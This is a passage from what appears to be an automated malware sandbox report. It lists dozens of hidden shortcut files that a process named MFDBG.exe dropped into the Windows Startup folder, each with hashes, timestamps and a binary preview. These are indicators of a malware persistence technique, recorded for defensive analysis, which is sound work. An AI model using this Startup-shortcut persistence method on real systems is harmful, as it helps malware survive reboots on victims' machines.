Preview:	L..................F...."...]W%.{...K.s.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_217b5497a1314f9791ca1e7cd15379c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939350499304945
Encrypted:	false
SSDEEP:	24:8ahBfP8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Qs0R6rMhpBoUBxdRd1nYyg
MD5:	5CB1E1966DE45CFE7046DCF122B26146
SHA1:	91D758B09EA1E251BABB815C56A722C92E6A19BB
SHA-256:	F086116A2A649D4BDDA6B32DFF0FA1174E6716CDA1835A0E7E819BC8F8C8E3F2
SHA-512:	CDCDD889457E0F5DB3115E7D0C198D3F921294764C3B0F40FE78B6546EF25BC0C1176E27E2BEA17B191489AD2E5ADD315BBEF7D613CD79528DC39BDFD0B45B71
Malicious:	false
Preview:	L..................F...."...]W%.{....+.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...S.E.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_229387b9402d4709b1de4b5a64c216e6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.933823587589012
Encrypted:	false
SSDEEP:	24:8bphBfSr8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8bpKI0R6rMhpBoUBxdRd1nYyg
MD5:	9DA8C920EB48531AF0234B3BC3F8965C
SHA1:	5F6C9F21A0425DBE60CEF62B93DB3BAA5147FF3C
SHA-256:	76BA125389740CB838924CE0B563E3B7FEF2C553E998E4F4FFE426D0FA5E4AA4
SHA-512:	8C190A317D60CF775EC2436C0211E497636D3496D4A4942BDA42B4FF0C797FA5B9A690C22B6CF8285D82C5350D56EEC2471ED6B773CA66B10B53E4D9B30FFF0D
Malicious:	false
Preview:	L..................F...."...]W%.{...I.p.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....G).{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_22a16f363f4d4516b8bd59f3b8c66b89.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926873298723667
Encrypted:	false
SSDEEP:	24:8hhBfw8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8R90R6rMhpBoUBxdRd1nYyg
MD5:	561BE04D6A4FC3C32F5C6A7FF1D95405
SHA1:	E71421E18672669C7D4AE0EEEA8FBA378AC40EF5
SHA-256:	A1E87AFE74EC196044AE47A58CDD9785ECAE1C76253AB190CBCDA5E69A4D223D
SHA-512:	C52138F2CF7951404451CC349641CEEF96FEB1835E23C53F36B6D026D14B2B04FBF58FE025AC7167436F78C5321E520192F5F1A76EF3C24833C92F2067142861
Malicious:	false
Preview:	L..................F...."...]W%.{.....x.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....Vc.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_22c431b45de64da98ff600cb49398260.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941270715008983
Encrypted:	false
SSDEEP:	24:8YhBfT8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86o0R6rMhpBoUBxdRd1nYyg
MD5:	323A1EE87453AD8121C97FF9FC274892
SHA1:	3EA2BF2E97B08BAAE4C1875F8D5041C4C0223A20
SHA-256:	6608B73A99F089447F95D6D313B52B63AEAC4EC8029C8B81D8C7AE93FD6A50C3
SHA-512:	8C8B86862630B38BFA3D5980CAFCA3CE2A06B00850BCA9878DEB3CE430BC4C9DA7070E876984EBF64BE7972C7002E0B1053BE405454CC94D7FC4E72EFBA70A94
Malicious:	false
Preview:	L..................F...."...]W%.{...xy..\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_22e4565ae6bc4845b98ad26cb9e05922.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934762501839015
Encrypted:	false
SSDEEP:	24:8DhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83n0R6rMhpBoUBxdRd1nYyg
MD5:	C7A4FDC82E0F4231A30067BBD4E88F0D
SHA1:	742EC741DAF3A51BD217DE873B8823D9CC7706C9
SHA-256:	B40698A7D0A5C64BF439BE8CCB359E83A90E8D166D144B11A3FDBC1F11AA39F3
SHA-512:	C81F49EF25E2C7D41FF7B3B16375769DD87C89552DA1A3F42C4B6F46F1F2E5F000F0E3EF34E922EAC614D96AB284B36878463579737DE5EE6421D4F85C674190
Malicious:	false
Preview:	L..................F...."...]W%.{...L...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_22f69a1bfa7b4c4e8e953b7d9a076cb7.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937249341513987
Encrypted:	false
SSDEEP:	24:839hBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:839r0R6rMhpBoUBxdRd1nYyg
MD5:	CC1D458E88B30FDF2851943926F0A0E3
SHA1:	5C26711870FC3B5DA73FBC17FD3955C3A9460D50
SHA-256:	349B67744BF7EFEBC612C2ACD0786F73DBF6CEDE16F8052C673250841050450F
SHA-512:	D8F34D5F234931EA69A1B366DE10B4AEDB490CC7B9CD32E56D34B81B20D7FB4DBAAA2DA46CEC2712C138F49D87E0F596ABAC29A7D8FA650DF259E65CBAC0F62D
Malicious:	false
Preview:	L..................F...."...]W%.{...r...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_230e8d7f9b514a80af7ef1d8b8deadfd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:43 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9386675269540214
Encrypted:	false
SSDEEP:	24:80hBfA8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8290R6rMhpBoUBxdRd1nYyg
MD5:	D8CFACFF34CBADCC32AB02509E729941
SHA1:	23B70FFAAD0A113087AED2947D9F826777CBB8C2
SHA-256:	48C035972646AF678047F17EE13BB0C47A1A5525A73FA81B3F7E999A359FE62D
SHA-512:	221AEA1D77816D29D7C8F9F9EF13294452B2E1E5376ED8BFD041C69BCC0454BC9C2AB69E938CD990445AC094A128A25076AD8D8774DFB6F4C683AB473660A36C
Malicious:	false
Preview:	L..................F...."...]W%.{...Q...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...(...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2337dc7fcd4c4951bcd497a0d934593a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.945372056006388
Encrypted:	false
SSDEEP:	24:8YphBfWw48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Yp+e0R6rMhpBoUBxdRd1nYyg
MD5:	E949B65E5F27859CA85B3BFFFD1239A0
SHA1:	95A435EB3D210F1C698A7112925B5DD628761B67
SHA-256:	645AC557308DFC96C0E1520BB66514D15085DBF7C294ED986A8A18CD58088982
SHA-512:	2FD3E896DFA8E0AAB7E55B53800163714777DA63366F3041FEF9DE0CF33F9894C3A956DF09D691139DCEAB5B2470E4706CB9E6D4EE28E46FB59E9459C7E39A51
Malicious:	false
Preview:	L..................F...."...]W%.{...j}..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...'...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2384fd3cdd0540109f22dd6a618ea21d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936651959479615
Encrypted:	false
SSDEEP:	24:86mhBfX8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:86sU0R6rMhpBoUBxdRd1nYyg
MD5:	03682CF36678580F77A290F35B08BAAA
SHA1:	19C2BEB62804D17D2D2F503C4A73F181DA8C3F5D
SHA-256:	28539D7F600AAA79B2AD8AA02D98F31E82C65D72152349A826D813EE31F3F938
SHA-512:	89ABC564024875801C919C75DB1692D703A1730CDC1EEE4F7448545F41E3372D58C337512841D7B70CC15EC07A5D78EECF13F8B8D1CB98C2313CE4EB301F34CF
Malicious:	false
Preview:	L..................F...."...]W%.{.....x.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....n.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_2399e10318ce45b3adc237435e8838ce.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:53 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.932851426313454
Encrypted:	false
SSDEEP:	24:8xhBfc8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8BR0R6rMhpBoUBxdRd1nYyg
MD5:	938639E2100A88858069E29D18FD1AF8
SHA1:	B8F8E08F09A9A8241E6A00D59EA86D7FB9275C11
SHA-256:	B6B9A8976D20A3FC652BBA225BB4FE2EEBB25478A79E76EADB562922E16369C0
SHA-512:	904109BBD159C36099B9E7627197310570F3B20B9F0E45640B405544FFCFEB7B3F8A5A964986C1B89F7D84764AB0886FED316E9FE5651B62C48A64C091A7B67D
Malicious:	false
Preview:	L..................F...."...]W%.{...Np..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_239a0aaf783848539413a43771cb6a52.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.93417113660357
Encrypted:	false
SSDEEP:	24:8chBfy8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8un0R6rMhpBoUBxdRd1nYyg
MD5:	0397A687CCBACF7510D196E68F384B36
SHA1:	4034ACBC6ACFDA80E05271CAC632E4A43172F657
SHA-256:	A303A7AFADB465E8EAB53B27505ACC30B541DF2B796B5786C51C54B0C572F5FD
SHA-512:	25C58B94EA6470BEF081156DCC873F51A109A37716BA82BCD656F95FD2A437D81698865A245E0FED36E95C5A98373DA24EBEAFA6699D14DFD3964712BE6DDBAF
Malicious:	false
Preview:	L..................F...."...]W%.{...:...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...K...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24214eb67eb74f7081b22b43a9ea27eb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939653796098305
Encrypted:	false
SSDEEP:	24:8ehBfEH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:808c0R6rMhpBoUBxdRd1nYyg
MD5:	2AFB04B03A2D99C25C37235606DAC1C9
SHA1:	67696ED1F5E209631358E62B0FF672D4D74717E7
SHA-256:	D60C720D73F00803EBC035EB02444BD0E24AEF287B0424CE43332263AE7D94D3
SHA-512:	9E304B39437B477657470C591048353BC5728988A42CAB7ECE0844F8F58D603A48438A58CA5E477EE7FB17283C190EDE500DE6BDFEA829CE928D85DCE3435362
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{..../..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_24222e2b775f4683926ffffbfa8313a9.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:42 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941415910635748
Encrypted:	false
SSDEEP:	24:8K8hBfo8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/V0R6rMhpBoUBxdRd1nYyg
MD5:	3BF3D37BB3C64DC77F11E6BA8D7401CC
SHA1:	E5D1F8689F1C5FC99BEB4B0BBEA8EE311CEADDE7
SHA-256:	B5FE1CBD69D02C3C08CA58EC6EA52146E15A71BEF97D6AE888BD8980EA4CC561
SHA-512:	5622DA5BC63ADE683B9ADCEAD086F33A0DE2EBEC21D4E48649BA488531C90E74519C58B8E9809BE93D725936981D6795288323057A90C04D0E739F1C8FB5BDD9
Malicious:	false
